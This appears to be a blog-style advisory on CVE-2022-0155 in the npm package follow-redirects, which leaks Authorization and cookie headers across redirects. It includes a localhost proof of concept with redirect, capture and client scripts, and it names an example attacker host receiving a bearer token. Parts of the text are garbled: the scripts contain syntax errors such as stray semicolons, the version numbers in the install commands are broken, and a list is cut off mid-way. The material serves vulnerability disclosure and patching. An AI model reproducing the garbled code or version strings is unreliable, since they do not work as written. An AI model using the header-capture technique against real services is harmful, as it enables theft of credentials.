In early 2022, a critical vulnerability was found inside a popular npm package called follow-redirects. This package is a small library used to simplify HTTP and HTTPS requests—and is widely used, both on its own and deep inside other things like the very-popular axios. CVE-2022-0155 exposed a flaw that could allow attackers to steal your private data. In this article, we will break down the vulnerability, explain how it works, show you how to test for it, and give you advice on how to stay safe.

What is follow-redirects?

Many common node.js libraries don't handle HTTP redirects properly out of the box. The follow-redirects package fixes that, making sure that your HTTP client follows any HTTP 3xx redirects for you, and keeps your original request settings (like headers and cookies). It makes life easier for developers—but, as we’ll see, a small flaw had big security implications.

About CVE-2022-0155

CVE-ID: CVE-2022-0155  
Package: follow-redirects  
Problem: Exposure of private personal information (like cookies or Authorization headers) to the wrong servers during HTTP redirection  
Severity: Medium (CVSS: 6.5)  
Patched in: 1.14.8 (see release notes)

How Did the Vulnerability Work?

When your application follows an HTTP redirect, sometimes it needs to send headers like authorization tokens, session cookies, or custom headers to the new location. But what if you are redirected to a third-party site? That site should *NOT* receive any private or sensitive headers that were intended only for your site.

In the affected versions of follow-redirects, those sensitive headers could be sent to a redirect destination—even if it was an unknown or malicious third-party. This effectively *leaks your secrets* to anyone who controls the redirect!

An Example

Let’s say you're logged in, and your app fetches user profile information from https://api.yoursite.com/profile. Your code might look like:

const axios = require('axios');
axios.get('https://api.yoursite.com/profile', {
  headers: { 'Authorization': 'Bearer secrettoken123' }
});

Now imagine the response from https://api.yoursite.com/profile is a 302 redirect to https://malicious.hacker.site/capture.  
If your HTTP client uses a vulnerable follow-redirects version, the request will follow the redirect, and send your Authorization header to the attacker!

Exploiting CVE-2022-0155: Proof of Concept

Below is a simple proof-of-concept (PoC) using axios, which uses follow-redirects by default (prior to patch). To simulate:
1. Set up a *redirect server* on localhost:300 to redirect to another local server on localhost:400.

redirect-server.js

const http = require('http');

http.createServer((req, res) => {
  // Redirect on any incoming request
  res.writeHead(302, { Location: 'http://localhost:400/capture'; });
  res.end();
}).listen(300, () => {
  console.log('Redirect server running on port 300');
});

capture-server.js

const http = require('http');

http.createServer((req, res) => {
  console.log('Captured headers:', req.headers);
  res.end('Got the headers!');
}).listen(400, () => {
  console.log('Capture server running on port 400');
});

Step 2: Make a request

Install an outdated version of axios for this demonstration.

npm install axios@.24. # which uses follow-redirects <1.14.8

client.js

const axios = require('axios');
axios.get('http://localhost:300/redirect';, {
  headers: {
    'Authorization': 'Bearer superSecretToken',
    'Cookie': 'sessionid=xyz',
  }
}).catch(e => {});

Step 3: Run

Start the servers, then run the client.  
Notice how your sensitive authorization and cookie headers arrive at the *new* destination!

Output on capture-server

Captured headers: {
  Authorization: 'Bearer superSecretToken',
  cookie: 'sessionid=xyz',
  ...
}


This simulated a simple data leak, but in the real world, attackers can redirect you to their *domain* and get the same result.

How Can Attackers Abuse This?

If attackers can manipulate redirects on your API (via open redirect vulnerabilities, subdomain takeovers, or proxy attacks), they can steal your:

Authorization tokens (Bearer tokens, JWTs)

- API keys/internal secrets

1. Update immediately.

If you use follow-redirects (directly or via something like axios), update to 1.14.8 or later.

For example

npm install follow-redirects@1.15.
npm install axios@.25.

2. Pin your dependencies.

Use npm ls follow-redirects to see which version is in use.

3. Audit for indirections.

Look out for open redirect vulnerabilities in your own apps—don’t let users control redirect URLs.

4. Controlled header forwarding.

Consider using allow-lists for headers across domain boundaries.

References & Original Resources

- Official GitHub Advisory
- CVE Details - CVE-2022-0155
- npm advisory report
- Axios repo

Conclusion

Even small packages can put user privacy at huge risk when something as simple as header forwarding is handled carelessly on redirects. If you're a Node.js developer or run an app that fetches third-party URLs, make sure you’ve updated—especially if user secrets are in the mix. Regularly run npm audit and be wary of untrusted redirects. Stay safe, and don’t let your headers go wandering!


*This article is original and written for this knowledge platform. Please share it to help keep everyone secure!*

Timeline

Published on: 01/10/2022 20:15:00 UTC
Last modified on: 02/09/2022 14:17:00 UTC